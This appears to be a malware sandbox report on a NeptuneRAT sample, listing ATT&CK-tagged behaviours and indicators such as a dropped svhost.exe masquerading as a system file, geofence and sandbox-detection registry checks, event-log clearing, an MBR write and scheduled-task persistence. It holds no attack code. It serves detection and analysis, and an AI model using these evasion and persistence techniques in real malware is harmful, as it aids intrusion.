neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	Bypassed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	145cf2cc-8737-4047-9a80-495bbee398f9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	svhost.exe

Executes dropped EXE 5 IoCs

pid	Process
60	145cf2cc-8737-4047-9a80-495bbee398f9.exe
3268	svhost.exe
1408	svhost.exe
1204	lpb55got.w4l.exe
1016	svhost.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\D:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk	DllHost.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	OfficeClickToRun.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\svhost.exe	145cf2cc-8737-4047-9a80-495bbee398f9.exe
File opened for modification	C:\Windows\svhost.exe	145cf2cc-8737-4047-9a80-495bbee398f9.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000c6e8a7e79e1cdf4386a45035647f9fd7000000000200000000001066000000010000200000008f51f324abbaa5a50dbec33630bc3891e6b5a4a9805963ced8ba184d74658c29000000000e8000000002000020000000766a4e0dedfcdc539a359e05b3bb4cf07bbaf9c694c4c21896b2ffa3edb968d8000c00000e6e0b98204f07813f5764d622180f68cffffb42b774cf0216d617303e627324984c897b84d88e24eae811d1e9ce0bcdfb1a5334655377e729c7abb0fb6da07d1d32237308638412fbf3c1581912699c780d345a71797bf2e76f6a2020af73dfd4f688d407e226fe4f2f86c18e7018f7d4969664a792807aee8ae653e76e589d22d146e632d76d983b8c2e86b5e32f967b9ca27ee00fca11b246a00f03ec02c043b6e81c9e9f0942492cc1f8e48b69634f7503a870fd856ce37d2b84d7ff5114427fab780e1ef48aeec9caaed493240af477734e1914f7f57edf99d18c11bc3df1631ac17870c7daea2a259d723f2547be76d01678d46b296567e3477a22cfa1bc0cbb78526a9e5df09eeddfff0077c390420763d5f780d01ac4dead766ce9020f990811e86ddfa2fab659805fc2b2f3c7d009c2be4703322fec2781f0686b2e2eff693744294c132c9cab53f005d948441b973f7e8ddd8928990020e64b94af510f7d6b39a0425b4d76d45fe6fd302232442066bbfd5c269a3d1d7ff96ebff184b485fbfbf8cd0df1eea740785d7ca5811eae2e4fe78834c1b0dc1c7fd8566c9e8e31b426cf2a390c8d32762d42808d05759cf72de05f8ab7466a96730c02cc2738f5c46aa8225e07acb6f75633672ba8bc645d95da5671061366b2dfdc6493a1b31abc3031c1995d88414fcbf059da2c76c5ba357f12d8c9765b50acd5922dcb81927261d33234687bc0678c8f2cc575d4978d0aabaa0d51c24e9f28767cd8741b527b96a25c86cc343c5fd0d078fb7b4997aa4181b4162e433e825235de70ee4cab698e8425dc05ac45a1f98633da6d8c6149a12bcbbf5a7d8480f1599863d2bf481431f8adc391540d956caebbc0d92ae39c553814ac03557abcf0d02398fca2134a0e1b34a7aaf02d87e88b4825441a83420a8acd726968a95dfee2d6c035ac38ccddd0e5c4e040c85ae4d3619300a7c3a6e8d21f7406ff9fab05000906ff6edd568d240d4a3ca307fb5205db179c02b6e4ba27b828460ec4bef81db8c877accf0cc22cece47f9cb2ca2875be0d255d4adf4cb8bf6d55c53282e380fdd1987fc4e4a6c029ba6984a5aa82cc667718309f80914c7f3dc947a6d615c7c835e4f4884cb05c9a9c5933cfa9a1670c7a9a9015c43800107cda0b58f7a4a64740c0d39651a5be52977bb383aac9a886103fbe5374368ca38f3f46e9467dc98214f7f85298d3f3bfdb9c6999be091bd0662cecc3f0ecfd35e7f215a446a393fba80e7da514fe5508a03bc22566f5269489fb3747041411f0342ec959f77eb305a96fb3ae1b9c617433ec734d3d63b6d706e41428e0c59b04bf8a2afcc4647659c10f1a4a9ca5973d3b58558adbe59f9dff15fdeb6cdb39cc6bb45cd7c749756cfa46decfbddbc6afb5c8274de5458cce79cd78b47b9c7e5777681ab369a2060363127f36c917daf8bb70bf3a4327335cf83c0014b6e70e2c7379db2c86782b3a02bf9ae136a4801ca1d91bbed64c34f4c440664ea357d05a188c846d1f1bed9882e126040565d8931cef54ac525805eeca4323b2e05915098537f3bdd002ffd9643b321f3fedfa6e619b72b301bed5209598fe670fb8770cbed8aec296166b70d943a7a44c071e2536eb151d825c1d47c9025f116a420bc3101e94fc8133b5534e93752f5355113b7459f55d43d1d7c95326c71c9adef0a1a90ee7bd8b6513dbb68b32534dd88c9a64724031b77c154e74865e1e4369f8a74d58c2f23e06fc554ab337bbba8d3beb2686e4975267dad49f2fb16a7e65c128344cfdb7cad934d3e4613d76b98d578a6daf643bb38eb1ca08314de9c9fdc9116d6dd459d8e821634dd40d05b945493323a43cc9872d9ba4b679887e6e42d189db53c9b9e6452635f8b76e22b8408c5186698874a4fd4625e8f2ad678dc126dd9fa1f4eb09e6dc4bf0f6440544169e37e59ce68ed720e20551a9320f5be0b0fa48094e561c6ae009569511038d868614c2cd5a9254233bdf7c21dd8e885b76603e346f676184fbc729fa83d4a2fec806ce0db9f61b277dc06df60c09097bbe9d82ba9499285701552523fd6e2c899170cae285e361d6291d425f2ab9e19a049ecb7bee01c39162c2cbbb69b9196ebd4101b4835fdcfade63e322467445e90249ed5998d60c01906612f633db5a5688483fd6afd189445f6e710c51888926992052c52a19e31c206fbd07f2bd080dd4a377f8ca9dab6f04ffae73eda6c759ee96a70818df10798468413be0c01a0d535defafd84547d35012626f8b172d4d3e5a735d13764e57e1455ad3d05ba3ab8f5c25259d1818756f54fde3df4aab6f47244bf432aa0ae556f9183307e00a0bcf9c17921e062380c7206a5e3bd3caed3d7a30f74a3be6d4783ec4d9bbe4ec49e468e3b9d8a003466e31b04d337adab443e99429a053bfb529301eac3645ead515f7ce0ac38b6dfc737fae355581f6e3c52d5df5075e2bd9f38c06f3f3f4a16c723b37885ea5451b4f31c24eaea1d39e4c09d0ff2075035edacf189a00b377625ef84a0e0e5461a86f5b27d9a9338d43825f7a581338bd72de63b81120d5818ef776513122ba10c71072dd383fa5ce581b7caddcfd9a0c73a67eea8dcc59721388b0896807cf391076a16d8f81eb0469b3da5486d9fa5436ed7ffda6e567c168d00bbebb1859ed8b6c9b43f755d4c999a1c008e7ca8be0a1f0a968d297a784fc794b1db9c274860c866539e072debf08944069826aabcddcc1f9a5fec6a615f2a333f28ba25820b0a9bbf4093f69cf7b2d7f657f1720cb9ef72288ba1ee26f7a034664a8a42ecdf4a8829f909a5e0dddc617b32c9e967f83769f30005ff55178a2730542fa2932188a87c0da12664e642cca22c1bca1349538d36a44c022a0e433ace63ebf3207cda470067d1c8ddf02c377bde170aa619504345fe081eecac0a4b1053ae6d64009a04ae8011f977f318904592d9f94b4ea5440a4676ea14cab5be26781c3de939bbe2b9cbf183a0e2383113712febbe71e95168171a9a082ada6464740495458849f0dfcd99bd8532fbd5b7a8b658ba9d702744c8df8e039ff1ef756ae43c3f41cb0ea3a03537cd3fba4d3a62da2ceebc2f1c8f45641fbaf2923aa924aed9f3dd0ca9d2dacd5df1658b9cb8e3ad5e1953a6b0b20e0483213b1387aafcb96a05844c883765d6a85f22752a616efa6d591193fcddc05284946f06f4784271a128ca826760fab1f52a838f6fdd666c15316373b4978a71baa2a94f5ba6e54a0626d004b011430b2ea25d7ebb84fba3a66443862e5f17a629d24e35b997fda5deeaf694009c3f2037858e1cafbe4a7eb92c50c4c8112cfa4bae2379f66ded2b61ab44cd44cadb8f447325c08879e417cd79fd20a02239e223ef77bdb3ba125df65d9d794dd21b98558b32387bbe36a83000e83fa7abccbb08d3f27ce63e414a6d8af19933f4c3766b71ace86d4b61c8620fc1ff429128294657e8ab65626297332c9312abfa1beec5eb43fe7de5cd42f509b8331a8290ccd91ec47ed6b223ec4d8b1f99f539599e2e5719c399eb41ec40731902606016f9b47fa891c326b32b1031b60c86f7d3d7543e62a936f8df098b264a4cd19a3a58c321619625a7db807f9c4653aca8e7262e8cfacffd0263bce368ef313dbdfbc3de434ec46f0d454b6f2d3a8aaf64e6b2df0b2f3c4314d22a17e690aef34beb7da4d0b479948ed7592e88354f1fb964ad6b458c37e85f5e98ad789546cec703ba36f05aad7f60c2fbf645e1c5b3c3d3794307901f3f5b75821354ee9b7e09c693c16d68d7b81c6dac13417757ffcb82fd095bac95c8f8ebfed70d19cafbab4e0a95a588c2478aa90d9dc0a5cb2f793da06df772e683091b296c69107d565ad033e548158aedaaec8beb90cd616cc0a97774f547cab2b28b3eb04fa2b9b92394fbff65c8499042e754e090ddd9ff94e13fd30318088bd106728294ceed546030d2f84d38ae0d358ec39b04dffecaf203f10d3b41cd729a2e2f1501f0b5e8c84512f89db7d4b53d9c341ee0c0d54cbce9162a22dfac4ade88264dae6382cea25c98b7303a09999ebfd934f3aa5ea01d0e4bcd857a8c1370b61ce05ed63a6271fe07f430288d08d79a08bef4587a5d219356ed1a5e97822e16e428b778bf05e2fb72c705f6927ee324d75652eee89fb11b962742ef4e27157e78ec6f3caa885637d248c4283287ee94126b63be19aa1231fb0ebfd6dafb65309d5ee83f82e858bfae922d4cc657c9ad9c917c156b7f877fef34cc90ebbdf6634cdb4f298e05a164435e0fe6efe9ba188a01dfa855f90aff866cfaa33e8c356db55abd54a70c6aa40000000613cd8d00d8c87b5d4957fdd9b1c8c08bf4b6d6a00244f94da25180c13c8e84952f6876adcabcced8ad6f3e4caf7eea1b6d27ba82ecc7ade144f59f276b1187c	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018801848F60DD7"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018801848F60DD7 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000c6e8a7e79e1cdf4386a45035647f9fd7000000000200000000001066000000010000200000003c035057443707cfa299da9d12bbc575b9021ed543b508583f2a2f62b206a25a000000000e8000000002000020000000851f48019afb76e1ecb37ead215582bf95c6c8dab6322735ca202ba7c74eb93f8000000014ac55d864c2b8190be181a3c462634a6197c38fbb39f37db62dac6aa70781ace866f959d18a3dadd43c9f155f1f59b1f45fc9f55dd65510900876c67fcd527fc5bbc0bdee27683ac91461502f91e64a2d4c2ca63ac28c7f16f4a41e3c1bce3a9bcd8486f33a6c9e7df91a04da869bcaec0536a7999c4ecf56973ec0ccb0798a40000000b601d5caa372e11e3493da6b931b382aa7d8b4f4ef7c5b7d0b76047654b926ce79057036d5d0dd33c84e0757bc78a2d0c5b0b05c5556310d4f1134bf0d998724	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "577889346,5804129,17110992,7202269,9179409,24262478,41484365,17110988,7153487,508368333,17962391,17962392,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,7202265,507286179,41816131,20502174,6308191,18407617,39125643,539756558,504928405,504928410,24262477,25036127,24262473,9179410,6104718,9179411,51475283,41185282,39389248,539756557,528570079"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018801848F60DD7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={2552CE30-44FF-4372-8F9E-8C43469DDC03}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,944 15,943 6,1329 15,1329 100,1329 6,943 10,943 15,944 6,940 50,941 15,941 10,941 6,942 15,942 10,942 6,944 100,944 10,944 50,940 6,940 100,940 10,940 15"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1785978215"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 05 Aug 2026 22:30:13 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4596	SCHTASKS.exe
868	SCHTASKS.exe
4640	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1516	powershell.exe
1516	powershell.exe
4208	powershell.exe
4208	powershell.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
